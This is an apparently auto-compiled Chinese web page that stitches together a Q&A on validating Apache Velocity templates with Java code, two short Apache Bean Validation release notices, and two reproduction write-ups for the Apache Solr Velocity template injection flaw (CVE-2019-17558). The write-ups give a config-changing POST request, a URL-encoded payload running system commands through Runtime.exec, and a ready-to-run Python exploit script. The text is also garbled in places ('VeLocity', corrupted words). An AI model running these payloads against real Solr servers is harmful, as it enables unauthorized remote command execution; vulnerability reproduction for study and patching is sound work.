本文将分享ApacheVelocity:有没有从命令行validation模板正确性的标准方法?的详细内容,并且还将对从命令行运行进行详尽解释,此外,我们还将为大家带来关于ApacheBeanVali
本文将分享Apache Velocity:有没有从命令行validation模板正确性的标准方法?的详细内容,并且还将对从命令行运行进行详尽解释,此外,我们还将为大家带来关于Apache Bean Validation 0.2 发布、Apache Bean Validation 0.3 发布、apache solr velocity 注入远程命令执行漏洞 (cve-2019-17558)、Apache Solr Velocity模板注入RCE漏洞复现的相关知识,希望对你有所帮助。
本文目录一览:- Apache Velocity:有没有从命令行validation模板正确性的标准方法?(从命令行运行)
- Apache Bean Validation 0.2 发布
- Apache Bean Validation 0.3 发布
- apache solr velocity 注入远程命令执行漏洞 (cve-2019-17558)
- Apache Solr Velocity模板注入RCE漏洞复现
Apache Velocity:有没有从命令行validation模板正确性的标准方法?(从命令行运行)
我们的网站使用Apache VeLocity模板语言。 我们的内容pipe理系统已经检查了生成的XML文档的格式。 在将文件推送到活动站点之前,我们已经被要求检查文档来捕获VeLocity语法错误。
有没有从命令行validationVeLocity模板正确性的标准方法?
我准备读取模板path,初始化VeLocity引擎,parsing模板,并捕获本页所示的错误,但是如果有一个现成的工具需要一个文件和一个configuration,并且吐出任何错误,那么我宁愿使用它。
更新
这就是我最终做的事情:
更改VeLocity.Log文件的位置
Eclipse和它如何处理JARS – 奇怪的情况
构build失败 – Apache Parquet-MR源(mvn安装失败)
如何为Apache VeLocity创build自定义指令
VeLocity引擎无法从远程共享文件夹加载模板
package veLocitysample; import java.io.IOException; import java.io.StringWriter; import org.apache.log4j.Logger; import org.apache.log4j.BasicConfigurator; import org.apache.veLocity.VeLocityContext; import org.apache.veLocity.Template; import org.apache.veLocity.app.VeLocity; import org.apache.veLocity.exception.ResourceNotFoundException; import org.apache.veLocity.exception.ParseErrorException; import org.apache.veLocity.exception.MethodInvocationException; public class Main { /** Define a static logger variable so that it references the Logger * instance named "MyApp". */ private static Logger logger = Logger.getLogger(Main.class); /** * @param args the command line arguments */ public static void main(String[] args) { /* Set up a simple log4j configuration that logs on the console. */ BasicConfigurator.configure(); /* Check to see that a template path was passed on the command line. */ if (args.length != 1) { logger.fatal("You must pass the path to a template as a " + "command line argument."); return; } /* Pull the template filename from the command line argument. */ String fileName = args[0]; try { VeLocity.setProperty("resource.loader","file"); VeLocity.setProperty("file.resource.loader.class","org.apache.veLocity.runtime.resource.loader.FileResourceLoader"); VeLocity.setProperty("file.resource.loader.path","/templates/"); VeLocity.setProperty("file.resource.loader.cache","false"); VeLocity.setProperty("file.resource.loader.modificationCheckInterval","0"); VeLocity.init(); } catch (Exception ex) { logger.fatal("Error initializing the Veolcity engine.",ex); return; } boolean error = false; /* Create an empty VeLocity context */ VeLocityContext context = new VeLocityContext(); Template template = null; try { template = VeLocity.getTemplate(fileName); } catch( ResourceNotFoundException rnfe ) { logger.error("Couldn''t find the template to parse at this path: " + fileName + ".",rnfe); error = true; } catch( ParseErrorException peex ) { logger.error("Error parsing the template located at this path: " + fileName + ".",peex); error = true; } catch( MethodInvocationException mie ) { logger.error("Something invoked in the template (" + fileName + ") threw an Exception while parsing.",mie); error = true; } catch( Exception e ) { logger.error("An unexpected exception was thrown when attempting " + "to parse the template: " + fileName + ".",e); error = true; } if (error) { return; } StringWriter sw = new StringWriter(); try { template.merge(context,sw); } catch (ResourceNotFoundException rnfe) { logger.error("Couldn''t find the template to merge at this path: " + fileName + ".",rnfe); error = true; } catch (ParseErrorException peex) { logger.error("Error parsing the template at this path during merge: " + fileName + ".",peex); error = true; } catch (MethodInvocationException mie) { logger.error("Something invoked in the template (" + fileName + ") threw an Exception while merging.",mie); error = true; } catch (IOException ioe) { logger.error("Error reading the template located at this path from " + "disk: " + fileName + ".",ioe); error = true; } catch( Exception e ) { logger.error("An unexpected exception was thrown when attempting " + "to merge the template: " + fileName + ".",e); error = true; } if (!error) { logger.info("No Syntax errors detected."); } } }
在Linux系统上logging速度错误
使用veLocity split()将一个string拆分成一个数组似乎不起作用
速度模板引擎 – 键值映射
VeLocityTools错误 – “java.util.MissingResourceException:无法find基本名称WEB-INF.conf.resources.ss_messages,语言环境en_US”
有一个叫做Templatetool的VeLocity分发的工具,可以转储所有的引用,并且可以用来验证模板的语法。
但是,您必须正确设置上下文以验证任何模板。 所以最好的验证是用你自己的上下文编写你自己的工具。
要捕捉速度语法错误,你的方法可能是最好的。
但是,它会忽略无效的宏参数和不存在的引用。 在VeLocity 1.6中有一个严格的模式,你可以设置哪个会抛出一个坏的宏参数(例如错误的数字)的异常或坏引用(例如$ abc.badMethod())。 这假定您正在填充测试工具中使用的模板的上下文,就像在生产中使用模板时一样。
2010年12月,有人发表了验证VeLocity的工具。 我试了一下,它工作正常。 它使用VeLocity 1.6.4,但是如果需要,也许可以换成不同的版本。
http://code.google.com/p/veLocity-validator/
总结
以上是小编为你收集整理的Apache Velocity:有没有从命令行validation模板正确性的标准方法?全部内容。
如果觉得小编网站内容还不错,欢迎将小编网站推荐给好友。
Apache Bean Validation 0.2 发布
Bean Validation 项目的目的就是为了实现
该版本修复了一些小bug,通过了 Bean Validation 1.0.3 TCK 兼容性测试。
下载地址:http://incubator.apache.org/bval/cwiki/downloads.html
Apache Bean Validation 0.3 发布

该版本修复了一些小 bug,通过了 Bean Validation 1.0.3 TCK。
Bean Validation 项目的目的就是为了实现
apache solr velocity 注入远程命令执行漏洞 (cve-2019-17558)
Apache Solr 是一个开源的搜索服务器。
在其 5.0.0 到 8.3.1版本中,用户可以注入自定义模板,通过VeLocity模板语言执行任意命令。
具体漏洞原理和POC可以参考:
- https://nvd.nist.gov/vuln/detail/CVE-2019-17558
- https://issues.apache.org/jira/browse/SOLR-13971
- https://gist.github.com/s00py/a1ba36a3689fa13759ff910e179fc133
- https://github.com/jas502n/solr_rce
漏洞环境
执行如下命令启动一个Apache Solr 8.2.0服务器:
docker-compose up -d
服务启动后,访问http://your-ip:8983
即可查看到一个无需权限的Apache Solr服务。
漏洞复现
默认情况下params.resource.loader.enabled
配置未打开,无法使用自定义模板。我们先通过如下API获取所有的核心:
http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json
Vulhub里唯一的核心是demo
:
通过如下请求开启params.resource.loader.enabled
,其中API路径包含刚才获取的core名称:
POST /solr/demo/config HTTP/1.1
Host: solr:8983
Content-Type: application/json
Content-Length: 259
{
"update-queryresponsewriter": {
"startup": "lazy","name": "veLocity","class": "solr.VeLocityResponseWriter","template.base.dir": "","solr.resource.loader.enabled": "true","params.resource.loader.enabled": "true"
}
}
之后,注入VeLocity模板即可执行任意命令:
http://your-ip:8983/solr/demo/select?q=1&&wt=veLocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.tochars($out.read()))%23end
Apache Solr Velocity模板注入RCE漏洞复现
Apache Solr Velocity模板注入RCE漏洞复现
简介
Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。
影响范围
目前影响Apache Solr 5.x到8.2.0版本
漏洞成因
当攻击者可以直接访问Solr控制台时,可以通过发送类似/节点名/config的POST请求对该节点的配置文件做更改。Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定模板,默认设置是false。当设置params.resource.loader.enabled为ture时,将允许用户通过设置请求中的参数来指定相关资源加载,这也就意味着攻击者可以通过构造一个具有威胁的攻击请求,在服务器上进行命令执行。
修复方法
对solr增加访问控制
环境搭建
1、测试环境
靶机:
Linux kali 4.19.0-kali1-amd64
IP:192.168.157.138
攻击机:
windows 7 x64
IP:192.168.157.131
2、下载最新的Solr
- https://www.apache.org/dyn/closer.lua/lucene/solr/8.2.0/solr-8.2.0.zip
3、安装slor 8.2.0版本到靶机,进入到solr-8.1.0/bin目录下
~/solr-8.2.0/bin# ./solr -e dih -force
安装成功后,可正常访问网站。
漏洞复现
1、访问http://192.168.157.138:8983/进入主界面,点击左侧的Core Selector查看集合名称。
2、先手动在靶机/server/solr/目录下创建一个test的文件夹,然后将/server/solr/configsets/_default/下的conf目录拷贝到test目录下
3、然后按照如下图所示创建一个名为test的core
4、然后访问查看该应用config文件是否可以访问
5、Apache Solr默认集成VelocityResponseWriter插件,该插件初始化参数中的 params.resource.loader.enabled默认值设置为false,但是可以通过POST请求直接修改集合设置,将其设置为true,然后就可以构造特殊的GET请求来实现远程代码执行。
6、接下来我们就可以构造payload来实现RCE payload:
GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27ifconfig%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: 192.168.157.138:8983
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest
Content-Length: 2
import requests
import json
import sys
def get_name(url):
print "[-] Get core name."
url += "/solr/admin/cores?wt=json&indexInfo=false"
conn = requests.request("GET", url=url)
name = "test"
try:
name = list(json.loads(conn.text)["status"])[0]
except:
pass
return name
def update_config(url, name):
url += "/solr/"+name+"/config"
print "[-] Update config.", url
headers = {"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0"}
post_data = """
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
"""
conn = requests.request("POST", url, data=post_data, headers=headers)
if conn.status_code != 200:
print "update config error: ", conn.status_code
sys.exit(1)
def poc(url):
core_name = get_name(url)
update_config(url, core_name)
print "[-] Start get ."
url += "/solr/"+core_name+"/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27ifconfig%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
conn = requests.request("GET", url)
print conn.text
if __name__ == ''__main__'':
# print sys.argv[0], "http://192.168.157.138/"
target = sys.argv[1]
poc(target)
#参考链接:
- https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt
- https://nosec.org/home/detail/3113.html
今天的关于Apache Velocity:有没有从命令行validation模板正确性的标准方法?和从命令行运行的分享已经结束,谢谢您的关注,如果想了解更多关于Apache Bean Validation 0.2 发布、Apache Bean Validation 0.3 发布、apache solr velocity 注入远程命令执行漏洞 (cve-2019-17558)、Apache Solr Velocity模板注入RCE漏洞复现的相关知识,请在本站进行查询。
本文标签: